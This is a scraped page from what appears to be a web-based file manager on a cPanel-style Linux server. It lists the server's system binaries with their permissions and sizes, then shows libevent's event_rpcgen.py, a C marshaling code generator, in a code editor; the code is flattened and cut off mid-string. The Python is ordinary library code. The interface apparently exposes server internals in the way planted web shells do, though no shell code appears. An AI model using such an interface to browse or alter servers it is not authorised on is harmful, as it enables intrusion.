-rwxr-xr-x
turbostat
176.62
KB
-rwxr-xr-x
twopi
15.23
KB
-rwxr-xr-x
type
32
B
-rwxr-xr-x
tzselect
14.99
KB
-rwxr-xr-x
uapi
3.36
MB
-rwxr-xr-x
udevadm
583.8
KB
-rwxr-xr-x
ul
23.26
KB
-rwxr-xr-x
ulimit
34
B
-rwxr-xr-x
ulockmgr_server
19.38
KB
-rwxr-xr-x
umask
33
B
-rwxr-xr-x
umount
35.27
KB
-rwsr-xr-x
unalias
35
B
-rwxr-xr-x
uname
31.66
KB
-rwxr-xr-x
uname26
27.48
KB
-rwxr-xr-x
unexpand
39.73
KB
-rwxr-xr-x
unflatten
15.37
KB
-rwxr-xr-x
unicode_start
2.57
KB
-rwxr-xr-x
unicode_stop
367
B
-rwxr-xr-x
uniq
43.83
KB
-rwxr-xr-x
unlink
31.66
KB
-rwxr-xr-x
unpigz
132.84
KB
-rwxr-xr-x
unshare
31.55
KB
-rwxr-xr-x
unxz
84.94
KB
-rwxr-xr-x
unzip
195.95
KB
-rwxr-xr-x
unzipsfx
87.7
KB
-rwxr-xr-x
update-ca-trust
4.36
KB
-rwxr-xr-x
update-crypto-policies
87
B
-rwxr-xr-x
update-gtk-immodules
316
B
-rwxr-xr-x
update-mime-database
59.87
KB
-rwxr-xr-x
update_cpanelv2
5.23
MB
-rwxr-xr-x
update_jetbackup
4.29
MB
-rwxr-xr-x
update_lswsv2
4.82
MB
-rwxr-xr-x
upower
23.88
KB
-rwxr-xr-x
uptime
15.29
KB
-rwxr-xr-x
users
35.68
KB
-rwxr-xr-x
usleep
15.29
KB
-rwxr-xr-x
utmpdump
23.21
KB
-rwxr-xr-x
uuidgen
19.16
KB
-rwxr-xr-x
uuidparse
23.21
KB
-rwxr-xr-x
uz
2.49
KB
-rwxr-xr-x
vdir
137.65
KB
-rwxr-xr-x
vi
691
B
-rwxr-xr-x
view
150
B
-rwxr-xr-x
vimdot
1.06
KB
-rwxr-xr-x
vlock
23.62
KB
-rwxr-xr-x
vmstat
39.41
KB
-rwxr-xr-x
w
23.37
KB
-rwxr-xr-x
wait
32
B
-rwxr-xr-x
wall
23.23
KB
-rwxr-xr-x
watch
27.87
KB
-rwxr-xr-x
watchgnupg
23.2
KB
-rwxr-xr-x
wc
43.73
KB
-rwxr-xr-x
wdctl
31.33
KB
-rwxr-xr-x
wget
521.41
KB
-rwxr-xr-x
whatis
48.52
KB
-rwxr-xr-x
whatis.man-db
48.52
KB
-rwxr-xr-x
whereis
31.84
KB
-rwxr-xr-x
which
27.89
KB
-rwxr-xr-x
whiptail
31.93
KB
-rwxr-xr-x
who
51.77
KB
-rwxr-xr-x
whoami
31.66
KB
-rwxr-xr-x
wireplumber
31.67
KB
-rwxr-xr-x
wmf2eps
19.72
KB
-rwxr-xr-x
wmf2fig
19.81
KB
-rwxr-xr-x
wmf2gd
15.81
KB
-rwxr-xr-x
wmf2svg
19.82
KB
-rwxr-xr-x
wmf2x
15.7
KB
-rwxr-xr-x
word-list-compress
15.7
KB
-rwxr-xr-x
wpctl
59.85
KB
-rwxr-xr-x
wpexec
23.7
KB
-rwxr-xr-x
write
23.24
KB
-rwxr-sr-x
wsrep_sst_backup
2.39
KB
-rwxr-xr-x
wsrep_sst_common
67.33
KB
-rw-r--r--
wsrep_sst_mariabackup
51.98
KB
-rwxr-xr-x
wsrep_sst_mysqldump
8.1
KB
-rwxr-xr-x
wsrep_sst_rsync
29.84
KB
-rwxr-xr-x
wsrep_sst_rsync_wan
29.84
KB
-rwxr-xr-x
x86_64
27.48
KB
-rwxr-xr-x
x86_64-redhat-linux-c++
1.05
MB
-rwxr-xr-x
x86_64-redhat-linux-g++
1.05
MB
-rwxr-xr-x
x86_64-redhat-linux-gcc
1.04
MB
-rwxr-xr-x
x86_64-redhat-linux-gcc-11
1.04
MB
-rwxr-xr-x
x86_64-redhat-linux-gnu-pkg-co...
829
B
-rwxr-xr-x
x86_energy_perf_policy
38.73
KB
-rwxr-xr-x
xargs
64.09
KB
-rwxr-xr-x
xdg-dbus-proxy
56.54
KB
-rwxr-xr-x
xgettext
296.7
KB
-rwxr-xr-x
xml2-config
1.83
KB
-rwxr-xr-x
xmlcatalog
23.15
KB
-rwxr-xr-x
xmllint
80.56
KB
-rwxr-xr-x
xmlwf
39.63
KB
-rwxr-xr-x
xslt-config
2.58
KB
-rwxr-xr-x
xsltproc
31.23
KB
-rwxr-xr-x
xsubpp
4.96
KB
-rwxr-xr-x
xz
84.94
KB
-rwxr-xr-x
xzcat
84.94
KB
-rwxr-xr-x
xzcmp
6.48
KB
-rwxr-xr-x
xzdec
15.85
KB
-rwxr-xr-x
xzdiff
6.48
KB
-rwxr-xr-x
xzegrep
5.77
KB
-rwxr-xr-x
xzfgrep
5.77
KB
-rwxr-xr-x
xzgrep
5.77
KB
-rwxr-xr-x
xzless
1.76
KB
-rwxr-xr-x
xzmore
2.12
KB
-rwxr-xr-x
yat2m
40.04
KB
-rwxr-xr-x
yes
31.51
KB
-rwxr-xr-x
ypdomainname
23.84
KB
-rwxr-xr-x
yum
2.04
KB
-rwxr-xr-x
yum-builddep
3.6
KB
-rwxr-xr-x
yum-config-manager
3.6
KB
-rwxr-xr-x
yum-debug-dump
3.6
KB
-rwxr-xr-x
yum-debug-restore
3.6
KB
-rwxr-xr-x
yum-groups-manager
3.6
KB
-rwxr-xr-x
yumdownloader
3.6
KB
-rwxr-xr-x
zcat
1.94
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
6.31
KB
-rwxr-xr-x
zdump
27.35
KB
-rwxr-xr-x
zegrep
33
B
-rwxr-xr-x
zfgrep
33
B
-rwxr-xr-x
zforce
2.04
KB
-rwxr-xr-x
zgrep
7.93
KB
-rwxr-xr-x
zip
221.09
KB
-rwxr-xr-x
zipcloak
75.7
KB
-rwxr-xr-x
zipdetails
58.56
KB
-rwxr-xr-x
zipgrep
2.89
KB
-rwxr-xr-x
zipinfo
195.95
KB
-rwxr-xr-x
zipnote
67.61
KB
-rwxr-xr-x
zipsplit
63.58
KB
-rwxr-xr-x
zless
2.16
KB
-rwxr-xr-x
zmore
1.8
KB
-rwxr-xr-x
znew
4.47
KB
-rwxr-xr-x
zone2json
1.35
MB
-rwxr-xr-x
zone2sql
1.37
MB
-rwxr-xr-x
zsoelim
32.18
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : event_rpcgen.py
#! /usr/bin/python3 # # Copyright (c) 2005-2007 Niels Provos <provos@citi.umich.edu> # Copyright (c) 2007-2012 Niels Provos and Nick Mathewson # All rights reserved. # # Generates marshaling code based on libevent. # pylint: disable=too-many-lines # pylint: disable=too-many-branches # pylint: disable=too-many-public-methods # pylint: disable=too-many-statements # pylint: disable=global-statement # TODO: # 1) propagate the arguments/options parsed by argparse down to the # instantiated factory objects. # 2) move the globals into a class that manages execution, including the # progress outputs that go to stderr at the moment. # 3) emit other languages. import argparse import re import sys _NAME = "event_rpcgen.py" _VERSION = "0.1" # Globals LINE_COUNT = 0 CPPCOMMENT_RE = re.compile(r"\/\/.*$") NONIDENT_RE = re.compile(r"\W") PREPROCESSOR_DEF_RE = re.compile(r"^#define") STRUCT_REF_RE = re.compile(r"^struct\[(?P<name>[a-zA-Z_][a-zA-Z0-9_]*)\]$") STRUCT_DEF_RE = re.compile(r"^struct +[a-zA-Z_][a-zA-Z0-9_]* *{$") WHITESPACE_RE = re.compile(r"\s+") HEADER_DIRECT = [] CPP_DIRECT = [] QUIETLY = False def declare(s): if not QUIETLY: print(s) def TranslateList(mylist, mydict): return [x % mydict for x in mylist] class RpcGenError(Exception): """An Exception class for parse errors.""" def __init__(self, why): # pylint: disable=super-init-not-called self.why = why def __str__(self): return str(self.why) # Holds everything that makes a struct class Struct(object): def __init__(self, name): self._name = name self._entries = [] self._tags = {} declare(" Created struct: %s" % name) def AddEntry(self, entry): if entry.Tag() in self._tags: raise RpcGenError( 'Entry "%s" duplicates tag number %d from "%s" ' "around line %d" % (entry.Name(), entry.Tag(), self._tags[entry.Tag()], LINE_COUNT) ) self._entries.append(entry) self._tags[entry.Tag()] = entry.Name() declare(" Added entry: %s" % entry.Name()) def Name(self): return self._name def EntryTagName(self, entry): """Creates the name inside an enumeration for distinguishing data types.""" name = "%s_%s" % (self._name, entry.Name()) return name.upper() @staticmethod def PrintIndented(filep, ident, code): """Takes an array, add indentation to each entry and prints it.""" for entry in code: filep.write("%s%s\n" % (ident, entry)) class StructCCode(Struct): """ Knows how to generate C code for a struct """ def __init__(self, name): Struct.__init__(self, name) def PrintTags(self, filep): """Prints the tag definitions for a structure.""" filep.write("/* Tag definition for %s */\n" % self._name) filep.write("enum %s_ {\n" % self._name.lower()) for entry in self._entries: filep.write(" %s=%d,\n" % (self.EntryTagName(entry), entry.Tag())) filep.write(" %s_MAX_TAGS\n" % (self._name.upper())) filep.write("};\n\n") def PrintForwardDeclaration(self, filep): filep.write("struct %s;\n" % self._name) def PrintDeclaration(self, filep): filep.write("/* Structure declaration for %s */\n" % self._name) filep.write("struct %s_access_ {\n" % self._name) for entry in self._entries: dcl = entry.AssignDeclaration("(*%s_assign)" % entry.Name()) dcl.extend(entry.GetDeclaration("(*%s_get)" % entry.Name())) if entry.Array(): dcl.extend(entry.AddDeclaration("(*%s_add)" % entry.Name())) self.PrintIndented(filep, " ", dcl) filep.write("};\n\n") filep.write("struct %s {\n" % self._name) filep.write(" struct %s_access_ *base;\n\n" % self._name) for entry in self._entries: dcl = entry.Declaration() self.PrintIndented(filep, " ", dcl) filep.write("\n") for entry in self._entries: filep.write(" ev_uint8_t %s_set;\n" % entry.Name()) filep.write("};\n\n") filep.write( """struct %(name)s *%(name)s_new(void); struct %(name)s *%(name)s_new_with_arg(void *); void %(name)s_free(struct %(name)s *); void %(name)s_clear(struct %(name)s *); void %(name)s_marshal(struct evbuffer *, const struct %(name)s *); int %(name)s_unmarshal(struct %(name)s *, struct evbuffer *); int %(name)s_complete(struct %(name)s *); void evtag_marshal_%(name)s(struct evbuffer *, ev_uint32_t, const struct %(name)s *); int evtag_unmarshal_%(name)s(struct evbuffer *, ev_uint32_t, struct %(name)s *);\n""" % {"name": self._name} ) # Write a setting function of every variable for entry in self._entries: self.PrintIndented( filep, "", entry.AssignDeclaration(entry.AssignFuncName()) ) self.PrintIndented(filep, "", entry.GetDeclaration(entry.GetFuncName())) if entry.Array(): self.PrintIndented(filep, "", entry.AddDeclaration(entry.AddFuncName())) filep.write("/* --- %s done --- */\n\n" % self._name) def PrintCode(self, filep): filep.write( """/* * Implementation of %s */ """ % (self._name) ) filep.write( """ static struct %(name)s_access_ %(name)s_base__ = { """ % {"name": self._name} ) for entry in self._entries: self.PrintIndented(filep, " ", entry.CodeBase()) filep.write("};\n\n") # Creation filep.write( """struct %(name)s * %(name)s_new(void) { return %(name)s_new_with_arg(NULL); } struct %(name)s * %(name)s_new_with_arg(void *unused) { struct %(name)s *tmp; if ((tmp = malloc(sizeof(struct %(name)s))) == NULL) { event_warn("%%s: malloc", __func__); return (NULL); } tmp->base = &%(name)s_base__; """ % {"name": self._name} ) for entry in self._entries: self.PrintIndented(filep, " ", entry.CodeInitialize("tmp")) filep.write(" tmp->%s_set = 0;\n\n" % entry.Name()) filep.write( """ return (tmp); } """ ) # Adding for entry in self._entries: if entry.Array(): self.PrintIndented(filep, "", entry.CodeAdd()) filep.write("\n") # Assigning for entry in self._entries: self.PrintIndented(filep, "", entry.CodeAssign()) filep.write("\n") # Getting for entry in self._entries: self.PrintIndented(filep, "", entry.CodeGet()) filep.write("\n") # Clearing filep.write( """void %(name)s_clear(struct %(name)s *tmp) { """ % {"name": self._name} ) for entry in self._entries: self.PrintIndented(filep, " ", entry.CodeClear("tmp")) filep.write("}\n\n") # Freeing filep.write( """void %(name)s_free(struct %(name)s *tmp) { """ % {"name": self._name} ) for entry in self._entries: self.PrintIndented(filep, " ", entry.CodeFree("tmp")) filep.write( """ free(tmp); } """ ) # Marshaling filep.write( """void %(name)s_marshal(struct evbuffer *evbuf, const struct %(name)s *tmp) { """ % {"name": self._name} ) for entry in self._entries: indent = " " # Optional entries do not have to be set if entry.Optional(): indent += " " filep.write(" if (tmp->%s_set) {\n" % entry.Name()) self.PrintIndented( filep, indent, entry.CodeMarshal( "evbuf", self.EntryTagName(entry), entry.GetVarName("tmp"), entry.GetVarLen("tmp"), ), ) if entry.Optional(): filep.write(" }\n") filep.write("}\n\n") # Unmarshaling filep.write( """int %(name)s_unmarshal(struct %(name)s *tmp, struct evbuffer *evbuf) { ev_uint32_t tag; while (evbuffer_get_length(evbuf) > 0) { if (evtag_peek(evbuf, &tag) == -1) return (-1); switch (tag) { """ % {"name": self._name} ) for entry in self._entries: filep.write(" case %s:\n" % (self.EntryTagName(entry))) if not entry.Array(): filep.write( """ if (tmp->%s_set) return (-1); """ % (entry.Name()) ) self.PrintIndented( filep, " ", entry.CodeUnmarshal( "evbuf", self.EntryTagName(entry), entry.GetVarName("tmp"), entry.GetVarLen("tmp"), ), ) filep.write( """ tmp->%s_set = 1; break; """ % (entry.Name()) ) filep.write( """ default: return -1; } } """ ) # Check if it was decoded completely filep.write( """ if (%(name)s_complete(tmp) == -1) return (-1); return (0); } """ % {"name": self._name} ) # Checking if a structure has all the required data filep.write( """ int %(name)s_complete(struct %(name)s *msg) { """ % {"name": self._name} ) for entry in self._entries: if not entry.Optional(): code = [ """if (!msg->%(name)s_set) return (-1);""" ] code = TranslateList(code, entry.GetTranslation()) self.PrintIndented(filep, " ", code) self.PrintIndented( filep, " ", entry.CodeComplete("msg", entry.GetVarName("msg")) ) filep.write( """ return (0); } """ ) # Complete message unmarshaling filep.write( """ int evtag_unmarshal_%(name)s(struct evbuffer *evbuf, ev_uint32_t need_tag, struct %(name)s *msg) { ev_uint32_t tag; int res = -1; struct evbuffer *tmp = evbuffer_new(); if (evtag_unmarshal(evbuf, &tag, tmp) == -1 || tag != need_tag) goto error; if (%(name)s_unmarshal(msg, tmp) == -1) goto error; res = 0; error: evbuffer_free(tmp); return (res); } """ % {"name": self._name} ) # Complete message marshaling filep.write( """ void evtag_marshal_%(name)s(struct evbuffer *evbuf, ev_uint32_t tag, const struct %(name)s *msg) { struct evbuffer *buf_ = evbuffer_new(); assert(buf_ != NULL); %(name)s_marshal(buf_, msg); evtag_marshal_buffer(evbuf, tag, buf_); evbuffer_free(buf_); } """ % {"name": self._name} ) class Entry(object): def __init__(self, ent_type, name, tag): self._type = ent_type self._name = name self._tag = int(tag) self._ctype = ent_type self._optional = False self._can_be_array = False self._array = False self._line_count = -1 self._struct = None self._refname = None self._optpointer = True self._optaddarg = True @staticmethod def GetInitializer(): raise NotImplementedError("Entry does not provide an initializer") def SetStruct(self, struct): self._struct = struct def LineCount(self): assert self._line_count != -1 return self._line_count def SetLineCount(self, number): self._line_count = number def Array(self): return self._array def Optional(self): return self._optional def Tag(self): return self._tag def Name(self): return self._name def Type(self): return self._type def MakeArray(self): self._array = True def MakeOptional(self): self._optional = True def Verify(self): if self.Array() and not self._can_be_array: raise RpcGenError( 'Entry "%s" cannot be created as an array ' "around line %d" % (self._name, self.LineCount()) ) if not self._struct: raise RpcGenError( 'Entry "%s" does not know which struct it belongs to ' "around line %d" % (self._name, self.LineCount()) ) if self._optional and self._array: raise RpcGenError( 'Entry "%s" has illegal combination of optional and array ' "around line %d" % (self._name, self.LineCount()) ) def GetTranslation(self, extradict=None): if extradict is None: extradict = {} mapping = { "parent_name": self._struct.Name(), "name": self._name, "ctype": self._ctype, "refname": self._refname, "optpointer": self._optpointer and "*" or "", "optreference": self._optpointer and "&" or "", "optaddarg": self._optaddarg and ", const %s value" % self._ctype or "", } for (k, v) in list(extradict.items()): mapping[k] = v return mapping def GetVarName(self, var): return "%(var)s->%(name)s_data" % self.GetTranslation({"var": var}) def GetVarLen(self, _var): return "sizeof(%s)" % self._ctype def GetFuncName(self): return "%s_%s_get" % (self._struct.Name(), self._name) def GetDeclaration(self, funcname): code = [ "int %s(struct %s *, %s *);" % (funcname, self._struct.Name(), self._ctype) ] return code def CodeGet(self): code = """int %(parent_name)s_%(name)s_get(struct %(parent_name)s *msg, %(ctype)s *value) { if (msg->%(name)s_set != 1) return (-1); *value = msg->%(name)s_data; return (0); }""" code = code % self.GetTranslation() return code.split("\n") def AssignFuncName(self): return "%s_%s_assign" % (self._struct.Name(), self._name) def AddFuncName(self): return "%s_%s_add" % (self._struct.Name(), self._name) def AssignDeclaration(self, funcname): code = [ "int %s(struct %s *, const %s);" % (funcname, self._struct.Name(), self._ctype) ] return code def CodeAssign(self): code = [ "int", "%(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg," " const %(ctype)s value)", "{", " msg->%(name)s_set = 1;", " msg->%(name)s_data = value;", " return (0);", "}", ] code = "\n".join(code) code = code % self.GetTranslation() return code.split("\n") def CodeClear(self, structname): code = ["%s->%s_set = 0;" % (structname, self.Name())] return code @staticmethod def CodeComplete(_structname, _var_name): return [] @staticmethod def CodeFree(_name): return [] def CodeBase(self): code = ["%(parent_name)s_%(name)s_assign,", "%(parent_name)s_%(name)s_get,"] if self.Array(): code.append("%(parent_name)s_%(name)s_add,") code = "\n".join(code) code = code % self.GetTranslation() return code.split("\n") class EntryBytes(Entry): def __init__(self, ent_type, name, tag, length): # Init base class super(EntryBytes, self).__init__(ent_type, name, tag) self._length = length self._ctype = "ev_uint8_t" @staticmethod def GetInitializer(): return "NULL" def GetVarLen(self, _var): return "(%s)" % self._length @staticmethod def CodeArrayAdd(varname, _value): # XXX: copy here return ["%(varname)s = NULL;" % {"varname": varname}] def GetDeclaration(self, funcname): code = [ "int %s(struct %s *, %s **);" % (funcname, self._struct.Name(), self._ctype) ] return code def AssignDeclaration(self, funcname): code = [ "int %s(struct %s *, const %s *);" % (funcname, self._struct.Name(), self._ctype) ] return code def Declaration(self): dcl = ["ev_uint8_t %s_data[%s];" % (self._name, self._length)] return dcl def CodeGet(self): name = self._name code = [ "int", "%s_%s_get(struct %s *msg, %s **value)" % (self._struct.Name(), name, self._struct.Name(), self._ctype), "{", " if (msg->%s_set != 1)" % name, " return (-1);", " *value = msg->%s_data;" % name, " return (0);", "}", ] return code def CodeAssign(self): name = self._name code = [ "int", "%s_%s_assign(struct %s *msg, const %s *value)" % (self._struct.Name(), name, self._struct.Name(), self._ctype), "{", " msg->%s_set = 1;" % name, " memcpy(msg->%s_data, value, %s);" % (name, self._length), " return (0);", "}", ] return code def CodeUnmarshal(self, buf, tag_name, var_name, var_len): code = [ "if (evtag_unmarshal_fixed(%(buf)s, %(tag)s, " "%(var)s, %(varlen)s) == -1) {", ' event_warnx("%%s: failed to unmarshal %(name)s", __func__);', " return (-1);", "}", ] return TranslateList( code, self.GetTranslation( {"var": var_name, "varlen": var_len, "buf": buf, "tag": tag_name} ), ) @staticmethod def CodeMarshal(buf, tag_name, var_name, var_len): code = ["evtag_marshal(%s, %s, %s, %s);" % (buf, tag_name, var_name, var_len)] return code def CodeClear(self, structname): code = [ "%s->%s_set = 0;" % (structname, self.Name()), "memset(%s->%s_data, 0, sizeof(%s->%s_data));" % (structname, self._name, structname, self._name), ] return code def CodeInitialize(self, name): code = [ "memset(%s->%s_data, 0, sizeof(%s->%s_data));" % (name, self._name, name, self._name) ] return code def Verify(self): if not self._length: raise RpcGenError( 'Entry "%s" needs a length ' "around line %d" % (self._name, self.LineCount()) ) super(EntryBytes, self).Verify() class EntryInt(Entry): def __init__(self, ent_type, name, tag, bits=32): # Init base class super(EntryInt, self).__init__(ent_type, name, tag) self._can_be_array = True if bits == 32: self._ctype = "ev_uint32_t" self._marshal_type = "int" if bits == 64: self._ctype = "ev_uint64_t" self._marshal_type = "int64" @staticmethod def GetInitializer(): return "0" @staticmethod def CodeArrayFree(_var): return [] @staticmethod def CodeArrayAssign(varname, srcvar): return ["%(varname)s = %(srcvar)s;" % {"varname": varname, "srcvar": srcvar}] @staticmethod def CodeArrayAdd(varname, value): """Returns a new entry of this type.""" return ["%(varname)s = %(value)s;" % {"varname": varname, "value": value}] def CodeUnmarshal(self, buf, tag_name, var_name, _var_len): code = [ "if (evtag_unmarshal_%(ma)s(%(buf)s, %(tag)s, &%(var)s) == -1) {", ' event_warnx("%%s: failed to unmarshal %(name)s", __func__);', " return (-1);", "}", ] code = "\n".join(code) % self.GetTranslation( {"ma": self._marshal_type, "buf": buf, "tag": tag_name, "var": var_name} ) return code.split("\n") def CodeMarshal(self, buf, tag_name, var_name, _var_len): code = [ "evtag_marshal_%s(%s, %s, %s);" % (self._marshal_type, buf, tag_name, var_name) ] return code def Declaration(self): dcl = ["%s %s_data;" % (self._ctype, self._name)] return dcl def CodeInitialize(self, name): code = ["%s->%s_data = 0;" % (name, self._name)] return code class EntryString(Entry): def __init__(self, ent_type, name, tag): # Init base class super(EntryString, self).__init__(ent_type, name, tag) self._can_be_array = True self._ctype = "char *" @staticmethod def GetInitializer(): return "NULL" @staticmethod def CodeArrayFree(varname): code = ["if (%(var)s != NULL) free(%(var)s);"] return TranslateList(code, {"var": varname}) @staticmethod def CodeArrayAssign(varname, srcvar): code = [ "if (%(var)s != NULL)", " free(%(var)s);", "%(var)s = strdup(%(srcvar)s);", "if (%(var)s == NULL) {", ' event_warnx("%%s: strdup", __func__);', " return (-1);", "}", ] return TranslateList(code, {"var": varname, "srcvar": srcvar}) @staticmethod def CodeArrayAdd(varname, value): code = [ "if (%(value)s != NULL) {", " %(var)s = strdup(%(value)s);", " if (%(var)s == NULL) {", " goto error;", " }", "} else {", " %(var)s = NULL;", "}", ] return TranslateList(code, {"var": varname, "value": value}) def GetVarLen(self, var): return "strlen(%s)" % self.GetVarName(var) @staticmethod def CodeMakeInitalize(varname): return "%(varname)s = NULL;" % {"varname": varname} def CodeAssign(self): code = """int %(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg, const %(ctype)s value) { if (msg->%(name)s_data != NULL) free(msg->%(name)s_data); if ((msg->%(name)s_data = strdup(value)) == NULL) return (-1); msg->%(name)s_set = 1; return (0); }""" % ( self.GetTranslation() ) return code.split("\n") def CodeUnmarshal(self, buf, tag_name, var_name, _var_len): code = [ "if (evtag_unmarshal_string(%(buf)s, %(tag)s, &%(var)s) == -1) {", ' event_warnx("%%s: failed to unmarshal %(name)s", __func__);', " return (-1);", "}", ] code = "\n".join(code) % self.GetTranslation( {"buf": buf, "tag": tag_name, "var": var_name} ) return code.split("\n") @staticmethod def CodeMarshal(buf, tag_name, var_name, _var_len): code = ["evtag_marshal_string(%s, %s, %s);" % (buf, tag_name, var_name)] return code def CodeClear(self, structname): code = [ "if (%s->%s_set == 1) {" % (structname, self.Name()), " free(%s->%s_data);" % (structname, self.Name()), " %s->%s_data = NULL;" % (structname, self.Name()), " %s->%s_set = 0;" % (structname, self.Name()), "}", ] return code def CodeInitialize(self, name): code = ["%s->%s_data = NULL;" % (name, self._name)] return code def CodeFree(self, name): code = [ "if (%s->%s_data != NULL)" % (name, self._name), " free (%s->%s_data);" % (name, self._name), ] return code def Declaration(self): dcl = ["char *%s_data;" % self._name] return dcl class EntryStruct(Entry): def __init__(self, ent_type, name, tag, refname): # Init base class super(EntryStruct, self).__init__(ent_type, name, tag) self._optpointer = False self._can_be_array = True self._refname = refname self._ctype = "struct %s*" % refname self._optaddarg = False def GetInitializer(self): return "NULL" def GetVarLen(self, _var): return "-1" def CodeArrayAdd(self, varname, _value): code = [ "%(varname)s = %(refname)s_new();", "if (%(varname)s == NULL)", " goto error;", ] return TranslateList(code, self.GetTranslation({"varname": varname})) def CodeArrayFree(self, var): code = ["%(refname)s_free(%(var)s);" % self.GetTranslation({"var": var})] return code def CodeArrayAssign(self, var, srcvar): code = [ "int had_error = 0;", "struct evbuffer *tmp = NULL;", "%(refname)s_clear(%(var)s);", "if ((tmp = evbuffer_new()) == NULL) {", ' event_warn("%%s: evbuffer_new()", __func__);', " had_error = 1;", " goto done;", "}", "%(refname)s_marshal(tmp, %(srcvar)s);", "if (%(refname)s_unmarshal(%(var)s, tmp) == -1) {", ' event_warnx("%%s: %(refname)s_unmarshal", __func__);', " had_error = 1;", " goto done;", "}", "done:", "if (tmp != NULL)", " evbuffer_free(tmp);", "if (had_error) {", " %(refname)s_clear(%(var)s);", " return (-1);", "}", ] return TranslateList(code, self.GetTranslation({"var": var, "srcvar": srcvar})) def CodeGet(self): name = self._name code = [ "int", "%s_%s_get(struct %s *msg, %s *value)" % (self._struct.Name(), name, self._struct.Name(), self._ctype), "{", " if (msg->%s_set != 1) {" % name, " msg->%s_data = %s_new();" % (name, self._refname), " if (msg->%s_data == NULL)" % name, " return (-1);", " msg->%s_set = 1;" % name, " }", " *value = msg->%s_data;" % name, " return (0);", "}", ] return code def CodeAssign(self): code = ( """int %(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg, const %(ctype)s value) { struct evbuffer *tmp = NULL; if (msg->%(name)s_set) { %(refname)s_clear(msg->%(name)s_data); msg->%(name)s_set = 0; } else { msg->%(name)s_data = %(refname)s_new(); if (msg->%(name)s_data == NULL) { event_warn("%%s: %(refname)s_new()", __func__); goto error; } } if ((tmp = evbuffer_new()) == NULL) { event_warn("%%s: evbuffer_new()", __func__); goto error; } %(refname)s_marshal(tmp, value); if (%(refname)s_unmarshal(msg->%(name)s_data, tmp) == -1) { event_warnx("%%s: %(refname)s_unmarshal", __func__); goto error; } msg->%(name)s_set = 1; evbuffer_free(tmp); return (0); error: if (tmp != NULL) evbuffer_free(tmp); if (msg->%(name)s_data != NULL) { %(refname)s_free(msg->%(name)s_data); msg->%(name)s_data = NULL; } return (-1); }""" % self.GetTranslation() ) return code.split("\n") def CodeComplete(self, structname, var_name): code = [ "if (%(structname)s->%(name)s_set && " "%(refname)s_complete(%(var)s) == -1)", " return (-1);", ] return TranslateList( code, self.GetTranslation({"structname": structname, "var": var_name}) ) def CodeUnmarshal(self, buf, tag_name, var_name, _var_len): code = [ "%(var)s = %(refname)s_new();", "if (%(var)s == NULL)", " return (-1);", "if (evtag_unmarshal_%(refname)s(%(buf)s, %(tag)s, ", " %(var)s) == -1) {", ' event_warnx("%%s: failed to unmarshal %(name)s", __func__);', " return (-1);", "}", ] code = "\n".join(code) % self.GetTranslation( {"buf": buf, "tag": tag_name, "var": var_name} ) return code.split("\n") def CodeMarshal(self, buf, tag_name, var_name, _var_len): code = [ "evtag_marshal_%s(%s, %s, %s);" % (self._refname, buf, tag_name, var_name) ] return code def CodeClear(self, structname): code = [ "if (%s->%s_set == 1) {" % (structname, self.Name()), " %s_free(%s->%s_data);" % (self._refname, structname, self.Name()), " %s->%s_data = NULL;" % (structname, self.Name()), " %s->%s_set = 0;" % (structname, self.Name()), "}", ] return code def CodeInitialize(self, name): code = ["%s->%s_data = NULL;" % (name, self._name)] return code def CodeFree(self, name): code = [ "if (%s->%s_data != NULL)" % (name, self._name), " %s_free(%s->%s_data);" % (self._refname, name, self._name), ] return code def Declaration(self): dcl = ["%s %s_data;" % (self._ctype, self._name)] return dcl class EntryVarBytes(Entry): def __init__(self, ent_type, name, tag): # Init base class super(EntryVarBytes, self).__init__(ent_type, name, tag) self._ctype = "ev_uint8_t *" @staticmethod def GetInitializer(): return "NULL" def GetVarLen(self, var): return "%(var)s->%(name)s_length" % self.GetTranslation({"var": var}) @staticmethod def CodeArrayAdd(varname, _value): # xxx: copy return ["%(varname)s = NULL;" % {"varname": varname}] def GetDeclaration(self, funcname): code = [ "int %s(struct %s *, %s *, ev_uint32_t *);" % (funcname, self._struct.Name(), self._ctype) ] return code def AssignDeclaration(self, funcname): code = [ "int %s(struct %s *, const %s, ev_uint32_t);" % (funcname, self._struct.Name(), self._ctype) ] return code def CodeAssign(self): name = self._name code = [ "int", "%s_%s_assign(struct %s *msg, " "const %s value, ev_uint32_t len)" % (self._struct.Name(), name, self._struct.Name(), self._ctype), "{", " if (msg->%s_data != NULL)" % name, " free (msg->%s_data);" % name, " msg->%s_data = malloc(len);" % name, " if (msg->%s_data == NULL)" % name, " return (-1);", " msg->%s_set = 1;" % name, " msg->%s_length = len;" % name, " memcpy(msg->%s_data, value, len);" % name, " return (0);", "}", ] return code def CodeGet(self): name = self._name code = [ "int", "%s_%s_get(struct %s *msg, %s *value, ev_uint32_t *plen)" % (self._struct.Name(), name, self._struct.Name(), self._ctype), "{", " if (msg->%s_set != 1)" % name, " return (-1);", " *value = msg->%s_data;" % name, " *plen = msg->%s_length;" % name, " return (0);", "}", ] return code def CodeUnmarshal(self, buf, tag_name, var_name, var_len): code = [ "if (evtag_payload_length(%(buf)s, &%(varlen)s) == -1)", " return (-1);", # We do not want DoS opportunities "if (%(varlen)s > evbuffer_get_length(%(buf)s))", " return (-1);", "if ((%(var)s = malloc(%(varlen)s)) == NULL)", " return (-1);", "if (evtag_unmarshal_fixed(%(buf)s, %(tag)s, %(var)s, " "%(varlen)s) == -1) {", ' event_warnx("%%s: failed to unmarshal %(name)s", __func__);', " return (-1);", "}", ] code = "\n".join(code) % self.GetTranslation( {"buf": buf, "tag": tag_name, "var": var_name, "varlen": var_len} ) return code.split("\n") @staticmethod def CodeMarshal(buf, tag_name, var_name, var_len): code = ["evtag_marshal(%s, %s, %s, %s);" % (buf, tag_name, var_name, var_len)] return code def CodeClear(self, structname): code = [ "if (%s->%s_set == 1) {" % (structname, self.Name()), " free (%s->%s_data);" % (structname, self.Name()), " %s->%s_data = NULL;" % (structname, self.Name()), " %s->%s_length = 0;" % (structname, self.Name()), " %s->%s_set = 0;" % (structname, self.Name()), "}", ] return code def CodeInitialize(self, name): code = [ "%s->%s_data = NULL;" % (name, self._name), "%s->%s_length = 0;" % (name, self._name), ] return code def CodeFree(self, name): code = [ "if (%s->%s_data != NULL)" % (name, self._name), " 